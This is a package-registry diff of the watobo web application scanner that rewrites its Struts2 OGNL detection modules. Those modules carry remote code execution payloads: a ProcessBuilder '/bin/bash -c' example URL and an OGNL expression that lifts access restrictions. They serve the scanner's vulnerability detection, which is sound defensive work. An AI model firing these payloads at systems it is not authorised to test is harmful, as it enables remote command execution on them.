watobo 0.9.21 → 0.9.23
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/CHANGELOG.md +46 -1
- data/bin/nfq_server.rb +0 -9
- data/bin/watobo_gui.rb +3 -13
- data/custom-views/prettify-json.rb +9 -18
- data/icons/watobo.ico +0 -0
- data/icons/watobo.ico.old +0 -0
- data/lib/watobo.rb +10 -19
- data/lib/watobo/adapters.rb +5 -14
- data/lib/watobo/adapters/data_store.rb +50 -59
- data/lib/watobo/adapters/file/file_store.rb +287 -296
- data/lib/watobo/adapters/file/marshal_store.rb +293 -296
- data/lib/watobo/adapters/session_store.rb +5 -14
- data/lib/watobo/ca.rb +1 -10
- data/lib/watobo/config.rb +197 -206
- data/lib/watobo/constants.rb +0 -9
- data/lib/watobo/core.rb +3 -12
- data/lib/watobo/core/active_check.rb +72 -135
- data/lib/watobo/core/active_checks.rb +49 -58
- data/lib/watobo/core/ca.rb +369 -389
- data/lib/watobo/core/cert_store.rb +34 -43
- data/lib/watobo/core/chat.rb +92 -101
- data/lib/watobo/core/chats.rb +271 -280
- data/lib/watobo/core/client_cert_store.rb +106 -35
- data/lib/watobo/core/conversation.rb +48 -57
- data/lib/watobo/core/cookie.rb +23 -32
- data/lib/watobo/core/egress_handlers.rb +98 -0
- data/lib/watobo/core/finding.rb +66 -75
- data/lib/watobo/core/findings.rb +107 -114
- data/lib/watobo/core/forwarding_proxy.rb +13 -22
- data/lib/watobo/core/fuzz_gen.rb +0 -9
- data/lib/watobo/core/intercept_carver.rb +166 -177
- data/lib/watobo/core/intercept_filter.rb +235 -244
- data/lib/watobo/core/interceptor.rb +98 -107
- data/lib/watobo/core/min_class.rb +4 -13
- data/lib/watobo/core/netfilter_queue.rb +170 -179
- data/lib/watobo/core/ott_cache.rb +132 -141
- data/lib/watobo/core/parameter.rb +43 -52
- data/lib/watobo/core/passive_check.rb +103 -102
- data/lib/watobo/core/passive_checks.rb +48 -57
- data/lib/watobo/core/passive_scanner.rb +54 -55
- data/lib/watobo/core/plugin.rb +11 -20
- data/lib/watobo/core/project.rb +3 -9
- data/lib/watobo/core/proxy.rb +43 -52
- data/lib/watobo/core/request.rb +125 -123
- data/lib/watobo/core/response.rb +44 -53
- data/lib/watobo/core/scanner.rb +0 -9
- data/lib/watobo/core/scanner3.rb +405 -414
- data/lib/watobo/core/scope.rb +83 -92
- data/lib/watobo/core/session.rb +1043 -1026
- data/lib/watobo/core/sid_cache.rb +98 -107
- data/lib/watobo/core/subscriber.rb +25 -34
- data/lib/watobo/defaults.rb +21 -30
- data/lib/watobo/external/diff/lcs.rb +0 -9
- data/lib/watobo/external/diff/lcs/array.rb +0 -9
- data/lib/watobo/external/diff/lcs/block.rb +0 -9
- data/lib/watobo/external/diff/lcs/callbacks.rb +0 -9
- data/lib/watobo/external/diff/lcs/change.rb +0 -9
- data/lib/watobo/external/diff/lcs/hunk.rb +0 -9
- data/lib/watobo/external/diff/lcs/ldiff.rb +0 -9
- data/lib/watobo/external/diff/lcs/string.rb +0 -9
- data/lib/watobo/externals.rb +6 -15
- data/lib/watobo/framework.rb +4 -13
- data/lib/watobo/framework/create_project.rb +60 -69
- data/lib/watobo/framework/init.rb +0 -9
- data/lib/watobo/framework/init_modules.rb +0 -9
- data/lib/watobo/framework/license_text.rb +28 -37
- data/lib/watobo/framework/load_chat.rb +13 -22
- data/lib/watobo/gui.rb +132 -123
- data/lib/watobo/gui/about_watobo.rb +0 -9
- data/lib/watobo/gui/browser_preview.rb +0 -9
- data/lib/watobo/gui/certificate_dialog.rb +0 -9
- data/lib/watobo/gui/chat_diff.rb +0 -9
- data/lib/watobo/gui/chatviewer_frame.rb +73 -72
- data/lib/watobo/gui/checkboxtree.rb +0 -9
- data/lib/watobo/gui/checks_policy_frame.rb +0 -9
- data/lib/watobo/gui/client_cert_dialog.rb +96 -87
- data/lib/watobo/gui/confirm_scan_dialog.rb +0 -9
- data/lib/watobo/gui/conversation_table.rb +158 -164
- data/lib/watobo/gui/conversation_table_ctrl.rb +207 -216
- data/lib/watobo/gui/conversation_table_ctrl2.rb +373 -382
- data/lib/watobo/gui/csrf_token_dialog.rb +0 -9
- data/lib/watobo/gui/custom_viewer.rb +374 -383
- data/lib/watobo/gui/dashboard.rb +296 -303
- data/lib/watobo/gui/define_scope_frame.rb +0 -9
- data/lib/watobo/gui/differ_frame.rb +215 -224
- data/lib/watobo/gui/edit_comment.rb +0 -9
- data/lib/watobo/gui/edit_scope_dialog.rb +0 -9
- data/lib/watobo/gui/export_dialog.rb +104 -113
- data/lib/watobo/gui/finding_info.rb +0 -9
- data/lib/watobo/gui/findings_tree.rb +210 -217
- data/lib/watobo/gui/full_scan_dialog.rb +0 -9
- data/lib/watobo/gui/fuzzer_gui.rb +1295 -1313
- data/lib/watobo/gui/fxsave_thread.rb +14 -0
- data/lib/watobo/gui/goto_url_dialog.rb +70 -79
- data/lib/watobo/gui/hex_viewer.rb +0 -9
- data/lib/watobo/gui/html_viewer.rb +287 -296
- data/lib/watobo/gui/intercept_filter_dialog.rb +188 -197
- data/lib/watobo/gui/interceptor_gui.rb +1041 -1051
- data/lib/watobo/gui/interceptor_settings_dialog.rb +0 -9
- data/lib/watobo/gui/json_viewer.rb +287 -0
- data/lib/watobo/gui/list_box.rb +101 -110
- data/lib/watobo/gui/log_file_viewer.rb +32 -41
- data/lib/watobo/gui/log_viewer.rb +83 -88
- data/lib/watobo/gui/login_wizzard.rb +0 -9
- data/lib/watobo/gui/main_window.rb +587 -618
- data/lib/watobo/gui/manual_request_editor.rb +620 -565
- data/lib/watobo/gui/master_pw_dialog.rb +0 -9
- data/lib/watobo/gui/mixins/gui_settings.rb +29 -38
- data/lib/watobo/gui/page_tree.rb +217 -226
- data/lib/watobo/gui/password_policy_dialog.rb +0 -9
- data/lib/watobo/gui/plugin_board.rb +0 -9
- data/lib/watobo/gui/preferences_dialog.rb +0 -9
- data/lib/watobo/gui/progress_window.rb +17 -27
- data/lib/watobo/gui/project_wizzard.rb +0 -9
- data/lib/watobo/gui/proxy_dialog.rb +1 -10
- data/lib/watobo/gui/quick_scan_dialog.rb +0 -9
- data/lib/watobo/gui/request_builder_frame.rb +102 -111
- data/lib/watobo/gui/request_editor.rb +181 -137
- data/lib/watobo/gui/rewrite_filters_dialog.rb +394 -403
- data/lib/watobo/gui/rewrite_rules_dialog.rb +372 -381
- data/lib/watobo/gui/save_chat_dialog.rb +140 -149
- data/lib/watobo/gui/scanner_settings_dialog.rb +0 -9
- data/lib/watobo/gui/select_chat_dialog.rb +0 -9
- data/lib/watobo/gui/session_management_dialog.rb +0 -9
- data/lib/watobo/gui/sites_tree.rb +0 -9
- data/lib/watobo/gui/status_bar.rb +0 -9
- data/lib/watobo/gui/table_editor.rb +0 -9
- data/lib/watobo/gui/tagless_viewer.rb +0 -9
- data/lib/watobo/gui/templates/plugin.rb +0 -9
- data/lib/watobo/gui/templates/plugin2.rb +92 -100
- data/lib/watobo/gui/templates/plugin_base.rb +144 -153
- data/lib/watobo/gui/text_viewer.rb +0 -9
- data/lib/watobo/gui/transcoder_window.rb +0 -9
- data/lib/watobo/gui/utils/gui_utils.rb +0 -9
- data/lib/watobo/gui/utils/init_icons.rb +86 -95
- data/lib/watobo/gui/utils/load_icons.rb +33 -42
- data/lib/watobo/gui/utils/load_plugins.rb +116 -119
- data/lib/watobo/gui/utils/master_password.rb +68 -77
- data/lib/watobo/gui/utils/save_default_settings.rb +113 -122
- data/lib/watobo/gui/utils/save_project_settings.rb +0 -9
- data/lib/watobo/gui/utils/save_proxy_settings.rb +41 -50
- data/lib/watobo/gui/utils/save_scanner_settings.rb +18 -27
- data/lib/watobo/gui/utils/session_history.rb +112 -121
- data/lib/watobo/gui/workspace_dialog.rb +0 -9
- data/lib/watobo/gui/www_auth_dialog.rb +0 -9
- data/lib/watobo/gui/xml_viewer_frame.rb +0 -9
- data/lib/watobo/http.rb +4 -13
- data/lib/watobo/http/cookies/cookies.rb +26 -35
- data/lib/watobo/http/data/data.rb +45 -54
- data/lib/watobo/http/data/json.rb +47 -55
- data/lib/watobo/http/url/url.rb +38 -47
- data/lib/watobo/http/xml/xml.rb +124 -130
- data/lib/watobo/interceptor.rb +3 -12
- data/lib/watobo/interceptor/proxy.rb +742 -739
- data/lib/watobo/interceptor/transparent.rb +22 -24
- data/lib/watobo/mixins.rb +10 -19
- data/lib/watobo/mixins/check_info.rb +27 -36
- data/lib/watobo/mixins/httpparser.rb +613 -637
- data/lib/watobo/mixins/request_parser.rb +88 -97
- data/lib/watobo/mixins/shapers.rb +515 -529
- data/lib/watobo/mixins/transcoders.rb +3 -11
- data/lib/watobo/parser.rb +1 -10
- data/lib/watobo/parser/html.rb +83 -92
- data/lib/watobo/patch_fxruby_setfocus.rb +26 -0
- data/lib/watobo/sockets.rb +3 -12
- data/lib/watobo/sockets/agent.rb +828 -837
- data/lib/watobo/sockets/client_socket.rb +308 -312
- data/lib/watobo/sockets/connection.rb +401 -410
- data/lib/watobo/sockets/http_socket.rb +11 -13
- data/lib/watobo/sockets/ntlm_auth.rb +129 -138
- data/lib/watobo/utils.rb +10 -19
- data/lib/watobo/utils/check_regex.rb +0 -9
- data/lib/watobo/utils/copy_object.rb +0 -9
- data/lib/watobo/utils/crypto.rb +0 -9
- data/lib/watobo/utils/expand_range.rb +23 -32
- data/lib/watobo/utils/export_xml.rb +97 -106
- data/lib/watobo/utils/file_management.rb +9 -11
- data/lib/watobo/utils/hexprint.rb +9 -18
- data/lib/watobo/utils/load_chat.rb +0 -9
- data/lib/watobo/utils/load_icon.rb +0 -9
- data/lib/watobo/utils/ntlm.rb +866 -875
- data/lib/watobo/utils/print_debug.rb +12 -21
- data/lib/watobo/utils/response_builder.rb +90 -99
- data/lib/watobo/utils/response_hash.rb +0 -9
- data/lib/watobo/utils/secure_eval.rb +0 -9
- data/lib/watobo/utils/strings.rb +10 -19
- data/lib/watobo/utils/text2request.rb +0 -9
- data/lib/watobo/utils/url.rb +23 -32
- data/lib/watobo/utils/utf16.rb +11 -20
- data/modules/active/Apache/mod_status.rb +0 -9
- data/modules/active/Apache/multiview.rb +151 -160
- data/modules/active/Flash/crossdomain.rb +0 -9
- data/modules/active/JWT/jwt_oauth2_none.rb +111 -0
- data/modules/active/cq5/cq5_default_selectors.rb +106 -115
- data/modules/active/cq5/cqp_user_enumeration.rb +125 -134
- data/modules/active/directories/dirwalker.rb +0 -9
- data/modules/active/discovery/fileextensions.rb +0 -9
- data/modules/active/discovery/http_methods.rb +0 -9
- data/modules/active/discovery/jsmapfiles.rb +79 -0
- data/modules/active/domino/domino_db.rb +68 -76
- data/modules/active/dotNET/custom_errors.rb +102 -111
- data/modules/active/dotNET/dotnet_files.rb +90 -99
- data/modules/active/fileinclusion/lfi_simple.rb +0 -9
- data/modules/active/jboss/jboss_basic.rb +0 -9
- data/modules/active/sap/business_objects.rb +51 -60
- data/modules/active/sap/its_commands.rb +0 -9
- data/modules/active/sap/its_service_parameter.rb +0 -9
- data/modules/active/sap/its_services.rb +0 -9
- data/modules/active/sap/its_xss.rb +0 -9
- data/modules/active/shell_shock/shell_shock.rb +139 -148
- data/modules/active/siebel/siebel_apps.rb +160 -169
- data/modules/active/sqlinjection/sql_boolean.rb +0 -9
- data/modules/active/sqlinjection/sql_numerical.rb +198 -0
- data/modules/active/sqlinjection/sqli_error.rb +0 -9
- data/modules/active/sqlinjection/sqli_timing.rb +220 -229
- data/modules/active/struts2/default_handler_ognl.rb +106 -115
- data/modules/active/struts2/include_params_ognl.rb +105 -114
- data/modules/active/xml/xml_xxe.rb +112 -123
- data/modules/active/xss/xss_ng.rb +214 -223
- data/modules/active/xss/xss_simple.rb +0 -9
- data/modules/passive/ajax.rb +68 -77
- data/modules/passive/autocomplete.rb +56 -65
- data/modules/passive/cookie_options.rb +0 -9
- data/modules/passive/cookie_xss.rb +0 -9
- data/modules/passive/detect_code.rb +0 -9
- data/modules/passive/detect_fileupload.rb +0 -9
- data/modules/passive/detect_infrastructure.rb +0 -9
- data/modules/passive/detect_one_time_tokens.rb +0 -9
- data/modules/passive/dirindexing.rb +0 -9
- data/modules/passive/disclosure_domino.rb +55 -64
- data/modules/passive/disclosure_emails.rb +0 -9
- data/modules/passive/disclosure_ipaddr.rb +55 -53
- data/modules/passive/filename_as_parameter.rb +0 -9
- data/modules/passive/form_spotter.rb +0 -9
- data/modules/passive/hidden_fields.rb +50 -59
- data/modules/passive/hotspots.rb +0 -9
- data/modules/passive/in_script_parameter.rb +0 -9
- data/modules/passive/json_web_token.rb +93 -0
- data/modules/passive/multiple_server_headers.rb +0 -9
- data/modules/passive/possible_login.rb +0 -9
- data/modules/passive/redirect_url.rb +0 -9
- data/modules/passive/redirectionz.rb +0 -9
- data/modules/passive/sap-headers.rb +56 -65
- data/modules/passive/xss_dom.rb +0 -9
- data/plugins/aem/aem.rb +11 -20
- data/plugins/aem/gui/main.rb +118 -127
- data/plugins/aem/gui/tree_view.rb +171 -180
- data/plugins/aem/lib/agent.rb +130 -138
- data/plugins/aem/lib/dispatcher.rb +45 -51
- data/plugins/aem/lib/engine.rb +177 -186
- data/plugins/catalog/catalog.rb +345 -355
- data/plugins/crawler/crawler.rb +4 -13
- data/plugins/crawler/gui.rb +5 -14
- data/plugins/crawler/gui/auth_frame.rb +270 -279
- data/plugins/crawler/gui/crawler_gui.rb +271 -276
- data/plugins/crawler/gui/general_settings_frame.rb +96 -105
- data/plugins/crawler/gui/hooks_frame.rb +80 -89
- data/plugins/crawler/gui/scope_frame.rb +50 -59
- data/plugins/crawler/gui/settings_tabbook.rb +38 -47
- data/plugins/crawler/gui/status_frame.rb +59 -68
- data/plugins/crawler/lib/bags.rb +18 -27
- data/plugins/crawler/lib/constants.rb +11 -20
- data/plugins/crawler/lib/engine.rb +488 -497
- data/plugins/crawler/lib/grabber.rb +68 -77
- data/plugins/crawler/lib/status.rb +71 -80
- data/plugins/crawler/lib/uri_mp.rb +12 -21
- data/plugins/filefinder/filefinder.rb +326 -333
- data/plugins/sqlmap/bin/test.rb +78 -87
- data/plugins/sqlmap/gui.rb +4 -13
- data/plugins/sqlmap/gui/main.rb +218 -227
- data/plugins/sqlmap/gui/options_frame.rb +97 -106
- data/plugins/sqlmap/lib/sqlmap_ctrl.rb +90 -100
- data/plugins/sqlmap/sqlmap.rb +2 -11
- data/plugins/sslchecker/cli/sslchecker_cli.rb +0 -9
- data/plugins/sslchecker/gui/cipher_table.rb +246 -254
- data/plugins/sslchecker/gui/gui.rb +258 -264
- data/plugins/sslchecker/gui/sslchecker.rb +4 -13
- data/plugins/sslchecker/lib/check.rb +127 -133
- data/plugins/wshell/gui/main.rb +119 -117
- data/plugins/wshell/lib/core.rb +38 -88
- data/plugins/wshell/wshell.rb +11 -20
- metadata +170 -164
|
@@ -1,116 +1,107 @@
|
|
|
1
|
-
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
1
|
+
# @private
|
|
2
|
+
module Watobo#:nodoc: all
|
|
3
|
+
module Modules
|
|
4
|
+
module Active
|
|
5
|
+
module Struts2
|
|
6
|
+
|
|
7
|
+
|
|
8
|
+
class Default_handler_ognl < Watobo::ActiveCheck
|
|
9
|
+
@@tested_directories = Hash.new
|
|
10
|
+
|
|
11
|
+
threat =<<'EOF'
|
|
12
|
+
A vulnerability introduced by manipulating parameters prefixed with "action:"/"redirect:"/"redirectAction:" allows remote command execution
|
|
9
13
|
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
#
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
def
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
puts bang
|
|
105
|
-
puts bang.backtrace if $DEBUG
|
|
106
|
-
puts "ERROR!! #{Module.nesting[0].name}"
|
|
107
|
-
raise
|
|
108
|
-
end
|
|
109
|
-
end
|
|
110
|
-
|
|
111
|
-
end
|
|
112
|
-
|
|
113
|
-
end
|
|
114
|
-
end
|
|
115
|
-
end
|
|
116
|
-
end
|
|
14
|
+
Source: http://struts.apache.org/release/2.3.x/docs/s2-016.html
|
|
15
|
+
CVE: CVE-2013-2251
|
|
16
|
+
EOF
|
|
17
|
+
|
|
18
|
+
#
|
|
19
|
+
details =<<'EOD'
|
|
20
|
+
Example for code execution:
|
|
21
|
+
http://your.vulnerable.app/?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{%27/bin/bash%27,%27-c%27,%27touch%20/tmp/pwned%27})).start()}
|
|
22
|
+
EOD
|
|
23
|
+
|
|
24
|
+
|
|
25
|
+
measure = "Update Struts2 to version >2.3.15.1"
|
|
26
|
+
|
|
27
|
+
@info.update(
|
|
28
|
+
:check_name => 'Struts2 default handlers', # name of check which briefly describes functionality, will be used for tree and progress views
|
|
29
|
+
:check_group => "Struts",
|
|
30
|
+
:description => "Check for struts2 default handlers which doesn't sanitize parameters.", # description of checkfunction
|
|
31
|
+
:author => "Andreas Schmidt", # author of check
|
|
32
|
+
:version => "1.0" # check version
|
|
33
|
+
)
|
|
34
|
+
|
|
35
|
+
@finding.update(
|
|
36
|
+
:threat => threat, # thread of vulnerability, e.g. loss of information
|
|
37
|
+
:class => "Struts2 - default handlers", # vulnerability class, e.g. Stored XSS, SQL-Injection, ...
|
|
38
|
+
:type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN
|
|
39
|
+
:rating => VULN_RATING_CRITICAL,
|
|
40
|
+
:measure => measure,
|
|
41
|
+
:details => details
|
|
42
|
+
)
|
|
43
|
+
|
|
44
|
+
def initialize(project, prefs={})
|
|
45
|
+
super(project, prefs)
|
|
46
|
+
|
|
47
|
+
@vuln_handlers = %w( action redirect redirectAction)
|
|
48
|
+
|
|
49
|
+
def reset
|
|
50
|
+
@@tested_directories.clear
|
|
51
|
+
end
|
|
52
|
+
|
|
53
|
+
|
|
54
|
+
end
|
|
55
|
+
|
|
56
|
+
|
|
57
|
+
def generateChecks(chat)
|
|
58
|
+
begin
|
|
59
|
+
#
|
|
60
|
+
path = chat.request.dir
|
|
61
|
+
return true if @@tested_directories.has_key?(path)
|
|
62
|
+
|
|
63
|
+
@@tested_directories[path] = true
|
|
64
|
+
@vuln_handlers.each do |handler|
|
|
65
|
+
checker = proc {
|
|
66
|
+
results = {}
|
|
67
|
+
request = nil
|
|
68
|
+
response = nil
|
|
69
|
+
test_request = chat.copyRequest
|
|
70
|
+
|
|
71
|
+
test_value = '?' + CGI::escape("#{handler}:watobo_%{10000-1}")
|
|
72
|
+
|
|
73
|
+
test_request.replaceElement test_value
|
|
74
|
+
|
|
75
|
+
request, response = doRequest(test_request)
|
|
76
|
+
|
|
77
|
+
if response.headers.select{|h| h =~ /^Location:.*(_9999)/}.length > 0
|
|
78
|
+
|
|
79
|
+
addFinding( request, response,
|
|
80
|
+
:check_pattern => test_value,
|
|
81
|
+
:proof_pattern => "Location:.*_9999",
|
|
82
|
+
:test_item => handler,
|
|
83
|
+
:chat => chat,
|
|
84
|
+
:title => "[#{request.dir}] - #{handler}"
|
|
85
|
+
)
|
|
86
|
+
end
|
|
87
|
+
|
|
88
|
+
[ request, response ]
|
|
89
|
+
}
|
|
90
|
+
yield checker
|
|
91
|
+
|
|
92
|
+
end
|
|
93
|
+
|
|
94
|
+
rescue => bang
|
|
95
|
+
puts bang
|
|
96
|
+
puts bang.backtrace if $DEBUG
|
|
97
|
+
puts "ERROR!! #{Module.nesting[0].name}"
|
|
98
|
+
raise
|
|
99
|
+
end
|
|
100
|
+
end
|
|
101
|
+
|
|
102
|
+
end
|
|
103
|
+
|
|
104
|
+
end
|
|
105
|
+
end
|
|
106
|
+
end
|
|
107
|
+
end
|
|
@@ -1,115 +1,106 @@
|
|
|
1
|
-
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
1
|
+
# @private
|
|
2
|
+
module Watobo#:nodoc: all
|
|
3
|
+
module Modules
|
|
4
|
+
module Active
|
|
5
|
+
module Struts2
|
|
6
|
+
|
|
7
|
+
|
|
8
|
+
class Include_params_ognl < Watobo::ActiveCheck
|
|
9
|
+
|
|
10
|
+
threat =<<'EOF'
|
|
11
|
+
A vulnerability, present in the includeParams attribute of the URL and Anchor Tag, allows remote command execution
|
|
9
12
|
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
#
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
:
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
)
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
test_request
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
puts bang.backtrace if $DEBUG
|
|
105
|
-
puts "ERROR!! #{Module.nesting[0].name}"
|
|
106
|
-
raise
|
|
107
|
-
end
|
|
108
|
-
end
|
|
109
|
-
|
|
110
|
-
end
|
|
111
|
-
|
|
112
|
-
end
|
|
113
|
-
end
|
|
114
|
-
end
|
|
115
|
-
end
|
|
13
|
+
Source: http://struts.apache.org/release/2.3.x/docs/s2-013.html
|
|
14
|
+
CVE: CVE-2013-1966
|
|
15
|
+
EOF
|
|
16
|
+
|
|
17
|
+
#
|
|
18
|
+
details =<<'EOD'
|
|
19
|
+
Example for code execution:
|
|
20
|
+
http://your.vulnerable.app/?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{%27/bin/bash%27,%27-c%27,%27touch%20/tmp/pwned%27})).start()}
|
|
21
|
+
EOD
|
|
22
|
+
|
|
23
|
+
|
|
24
|
+
measure = "Update Struts2 to version >2.3.14"
|
|
25
|
+
|
|
26
|
+
@info.update(
|
|
27
|
+
:check_name => 'Struts2 includeParams', # name of check which briefly describes functionality, will be used for tree and progress views
|
|
28
|
+
:check_group => "Struts",
|
|
29
|
+
:description => "Check for vulnerable includeParams attribute.", # description of checkfunction
|
|
30
|
+
:author => "Andreas Schmidt", # author of check
|
|
31
|
+
:version => "1.0" # check version
|
|
32
|
+
)
|
|
33
|
+
|
|
34
|
+
@finding.update(
|
|
35
|
+
:threat => threat, # thread of vulnerability, e.g. loss of information
|
|
36
|
+
:class => "Struts2 - includeParams", # vulnerability class, e.g. Stored XSS, SQL-Injection, ...
|
|
37
|
+
:type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN
|
|
38
|
+
:rating => VULN_RATING_CRITICAL,
|
|
39
|
+
:measure => measure,
|
|
40
|
+
:details => details
|
|
41
|
+
)
|
|
42
|
+
|
|
43
|
+
def initialize(project, prefs={})
|
|
44
|
+
super(project, prefs)
|
|
45
|
+
|
|
46
|
+
end
|
|
47
|
+
|
|
48
|
+
|
|
49
|
+
def generateChecks(chat)
|
|
50
|
+
begin
|
|
51
|
+
|
|
52
|
+
checker = proc {
|
|
53
|
+
results = {}
|
|
54
|
+
request = nil
|
|
55
|
+
response = nil
|
|
56
|
+
test_request = chat.copyRequest
|
|
57
|
+
|
|
58
|
+
|
|
59
|
+
test_value = "%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#writer=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#writer.println(INJ),#writer.close())}"
|
|
60
|
+
marks = [ "INJ" , Time.now.to_i.to_s ]
|
|
61
|
+
|
|
62
|
+
inj_str = marks.map{|m| "'#{m}'"}.join("+")
|
|
63
|
+
|
|
64
|
+
test_value.gsub!(/INJ/, inj_str)
|
|
65
|
+
|
|
66
|
+
tparam = Watobo::UrlParameter.new( :name => "watobo", :value => CGI::escape(test_value) )
|
|
67
|
+
|
|
68
|
+
test_request.url.set tparam
|
|
69
|
+
#puts test_request.first
|
|
70
|
+
|
|
71
|
+
request, response = doRequest(test_request)
|
|
72
|
+
|
|
73
|
+
if response.respond_to? :body
|
|
74
|
+
unless response.body.nil?
|
|
75
|
+
body = response.body.unpack("C*").pack("C*")
|
|
76
|
+
#puts body
|
|
77
|
+
proof = marks.join
|
|
78
|
+
if response.body.to_s =~ /#{proof}/
|
|
79
|
+
addFinding( request, response,
|
|
80
|
+
:check_pattern => CGI::escape(test_value),
|
|
81
|
+
:proof_pattern => "#{proof}",
|
|
82
|
+
:chat => chat,
|
|
83
|
+
:title => "[includeParams] - #{request.file}"
|
|
84
|
+
)
|
|
85
|
+
end
|
|
86
|
+
end
|
|
87
|
+
end
|
|
88
|
+
|
|
89
|
+
[ request, response ]
|
|
90
|
+
}
|
|
91
|
+
yield checker
|
|
92
|
+
|
|
93
|
+
rescue => bang
|
|
94
|
+
puts bang
|
|
95
|
+
puts bang.backtrace if $DEBUG
|
|
96
|
+
puts "ERROR!! #{Module.nesting[0].name}"
|
|
97
|
+
raise
|
|
98
|
+
end
|
|
99
|
+
end
|
|
100
|
+
|
|
101
|
+
end
|
|
102
|
+
|
|
103
|
+
end
|
|
104
|
+
end
|
|
105
|
+
end
|
|
106
|
+
end
|
|
@@ -1,134 +1,123 @@
|
|
|
1
|
-
#.
|
|
2
|
-
# xml_xxe.rb
|
|
3
|
-
#.
|
|
4
|
-
# Copyright 2014 by siberas, http://www.siberas.de
|
|
5
|
-
# This file is part of WATOBO (Web Application Tool Box) http://watobo.sourceforge.com
|
|
6
|
-
# WATOBO is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License.
|
|
7
|
-
# WATOBO is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
|
|
8
|
-
# You should have received a copy of the GNU General Public License along with WATOBO; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|
9
|
-
|
|
10
1
|
# @private
|
|
11
|
-
module Watobo#:nodoc: all
|
|
12
|
-
module Modules
|
|
13
|
-
module Active
|
|
14
|
-
module Xml
|
|
15
|
-
class Xml_xxe < Watobo::ActiveCheck
|
|
16
|
-
# This module checks if DTD is accepted
|
|
17
|
-
# The idea is to use regular parameters and convert them to entity
|
|
2
|
+
module Watobo #:nodoc: all
|
|
3
|
+
module Modules
|
|
4
|
+
module Active
|
|
5
|
+
module Xml
|
|
6
|
+
